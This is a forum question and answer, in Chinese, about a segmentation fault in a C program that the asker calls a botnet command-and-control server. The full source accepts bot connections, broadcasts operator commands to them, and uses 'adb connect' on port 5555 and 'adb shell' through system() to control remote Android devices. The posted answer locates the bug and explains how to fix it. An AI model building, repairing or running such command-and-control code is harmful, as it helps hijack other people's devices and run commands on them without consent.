我被这个pthread_create分段错误难住了。我已经用GDB找到了错误在哪里--有什么想法吗?是的,它是一个僵尸网络命令和控制服务器;请不要因为它是什么而发表负面评论。我的意图是好的,也是为了研究,也是为了我了解TCP/IP。
无论如何,pthread_create分段错误位于“pthread_create”,第249行。
你知道为什么会发生这种情况吗?甚至可能是一个解决方案?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#define TRUE 1
#define FALSE 0
#define PORT 8888
#define BUFFER_SIZE 1024
unsigned int device_count = 0;
pthread_mutex_t lock;
static void clear(void) {
printf("\033[H\033[2J");
}
static void banner(void) {
clear();
puts("\e[0;32m ██████╗ █████╗ ██████╗ ██╗ ██╗███╗ ██╗███████╗████████╗");
puts("\e[0;32m ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝████╗ ██║██╔════╝╚══██╔══╝");
puts("\e[0;32m ██║ ██║███████║██████╔╝█████╔╝ ██╔██╗ ██║█████╗ ██║ ");
puts("\e[0;32m ██║ ██║██╔══██║██╔══██╗██╔═██╗ ██║╚██╗██║██╔══╝ ██║ ");
puts("\e[0;32m ██████╔╝██║ ██║██║ ██║██║ ██╗██║ ╚████║███████╗ ██║ ");
puts("\e[0;32m ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ");
}
static void help(void) {
puts("\n ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
puts(" ║ help Displays help commands ║");
puts(" ║ list Displays the amount of bots ║");
puts(" ║ banner Displays the banner ║");
puts(" ║ clear Clears the screen ║");
puts(" ║ exit Exits the botnet ║");
puts(" ╚════════════════════════════════════════════════════════════════════════════════════════╝");
}
static void list(void) {
printf("\nBots -> %d\n", device_count);
}
void *handle_conn(void *new_socket) {
terminal(*(int *)new_socket);
pthread_exit(NULL);
return NULL;
}
struct function {
const char *shell;
int (*function)(void);
};
struct function botnet_commands[] = {
{"?", help},
{"help", help},
{"list", list},
{"banner", banner},
{"clear", clear},
};
enum {commands_amount = sizeof(botnet_commands) / sizeof(botnet_commands[0])};
int handler(char shell[BUFFER_SIZE]) {
for (int i = 0; i < commands_amount; i++) {
if (strstr(shell, botnet_commands[i].shell)) {
return (*botnet_commands[i].function)();
}
}
}
void terminal(int master_socket){
int k;
int w_buf;
char shell[BUFFER_SIZE];
while(1){
pthread_mutex_lock(&lock);
printf("\n\e[0;31m╔═[ Dark@Net ]=[ Terminal ] ");
printf("\n\e[0;31m╚═> ");
w_buf = 0;
bzero(shell, BUFFER_SIZE);
while((shell[w_buf++] = getchar()) != '\n');
if(strncmp("send_command", shell, 12) == 0){
k = 0;
char data_send[1024];
bzero(data_send, 1024);
printf("\n\e[0;31m╔═[ Dark@Net ]=[ Enter Command ]");
printf("\n\e[0;31m╚═> ");
while ((data_send[k++] = getchar()) != '\n');
for (int i = 0; i <= device_count; i++) {
pthread_mutex_unlock(&lock);
if (write(master_socket, data_send, sizeof(data_send)) == -1) {
device_count--;
}
pthread_mutex_lock(&lock);
}
printf("\n[+] Data Successfully sent!\n");
}else if (strncmp("connect", shell, 7) == 0) {
char adb_con_before[15] = "adb connect ";
char adb_con_after[15] = ":5555";
char *adb_connect_ip;
adb_connect_ip = (char *)malloc(32 * sizeof(char));
printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter IP ]");
printf("\n\e[0;31m╚═> ");
scanf("%s", adb_connect_ip);
strcat(adb_con_before, adb_connect_ip);
strcat(adb_con_before, adb_con_after);
system(adb_con_before);
free(adb_connect_ip);
} else if (strncmp("cmd", shell, 3) == 0) {
char adb_shell_before[15] = "adb shell ";
char *adb_cmd;
adb_cmd = (char *)malloc(32 * sizeof(char));
printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter Command ]");
printf("\n\e[0;31m╚═> ");
scanf("%s", adb_cmd);
strcat(adb_shell_before, adb_cmd);
system(adb_shell_before);
free(adb_cmd);
} else if (strncmp("shell", shell, 5) == 0) {
printf("\nRemember, to exit, just use the 'exit' command.");
system("adb shell");
} else if (strncmp("restart", shell, 7) == 0) {
system("adb kill-server");
system("adb start-server");
} else if (strncmp("exit", shell, 4) == 0) {
break;
} else {
handler(shell);
}
pthread_mutex_unlock(&lock);
sleep(1);
}
pthread_mutex_unlock(&lock);
}
int main(void){
banner();
int opt = TRUE;
int max_sd;
int master_socket, addrlen, new_socket, client_socket[100000], max_clients = 100000, activity, i = 0, valread, sd;
struct sockaddr_in address;
char buffer[1024];
fd_set readfds;
for (i = 0; i < max_clients; i++)
{
client_socket[i] = 0;
}
master_socket = socket(AF_INET, SOCK_STREAM, 0);
if(master_socket == -1){
printf("[-] Master socket setup unsuccessful...\n");
exit(0);
}else{
printf("[+] Master socket setup successful...\n");
}
if(setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < 0 ){
printf("[-] Master socket opt setup unsuccessful...\n");
exit(0);
}else{
printf("[+] Master socket opt setup successful...\n");
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons( PORT );
if(bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0){
printf("[-] Bind setup unsuccessful...\n");
exit(0);
}else{
printf("[+] Bind setup successful...\n");
}
if(listen(master_socket, 3) < 0){
printf("[-] Listen setup unsuccessful...\n");
exit(0);
}else{
printf("[+] Listening...\n");
addrlen = sizeof(address);
}
pthread_t thread[150];
pthread_mutex_init(&lock, NULL);
while(1)
{
FD_ZERO(&readfds);
FD_SET(master_socket, &readfds);
max_sd = master_socket;
for(i = 0; i < max_clients; i++){
sd = client_socket[i];
if(sd > 0)
FD_SET(sd, &readfds);
if(sd > max_sd)
max_sd = sd;
}
activity = select(max_sd + 1, &readfds, NULL, NULL, NULL);
if((activity < 0) && (errno!=EINTR))
{
printf("[-] Select setup unsuccessful...\n");
}else{
printf("[+] Select setup successful...\n");
}
if(FD_ISSET(master_socket, &readfds)){
new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen);
if(new_socket < 0){
printf("[-] Client connection unsuccessful...\n");
exit(0);
}else{
printf("[+] Client connected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr), ntohs(address.sin_port));
device_count++;
pthread_create(&thread[i++], NULL, handle_conn, &new_socket);
}
for(i = 0; i < max_clients; i++){
if(client_socket[i] == 0){
client_socket[i] = new_socket;
printf("[+] Client added to list, ID: %d\n" , i);
break;
}
}
}
for(i = 0; i < max_clients; i++){
sd = client_socket[i];
if(FD_ISSET(sd, &readfds)){
if((valread = read(sd, buffer, 1024)) == 0){
getpeername(sd, (struct sockaddr*)&address, (socklen_t*)&addrlen);
printf("[-] Client disconnected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr) , ntohs(address.sin_port));
device_count--;
close(sd);
client_socket[i] = 0;
}else{
buffer[valread] = '\0';
send(sd, buffer, strlen(buffer), 0);
}
}
}
}
return 0;
}
我已经试过广发了,它告诉我故障在哪里,还是不知道怎么解决。
1条答案
按热度按时间jdzmm42g1#
问题(在这个问题中,可能还有其他问题)在于变量'i'被用在几个地方,显然是为了不同的事情。它在三个for()循环中被用作一个通用索引,迭代max_clients。但它也被用作某种线程计数器。
在调用pthread_create()时,'i'被设置为max_clients,这超出了thread[]数组的范围。
添加一个用作线程计数器的新变量可以解决此问题。
我建议完全删除函数作用域的变量'i',并使用作用域为循环的变量,例如。
这将使问题变得更加明显,因为您必须确定使用哪个变量来索引thread[]数组。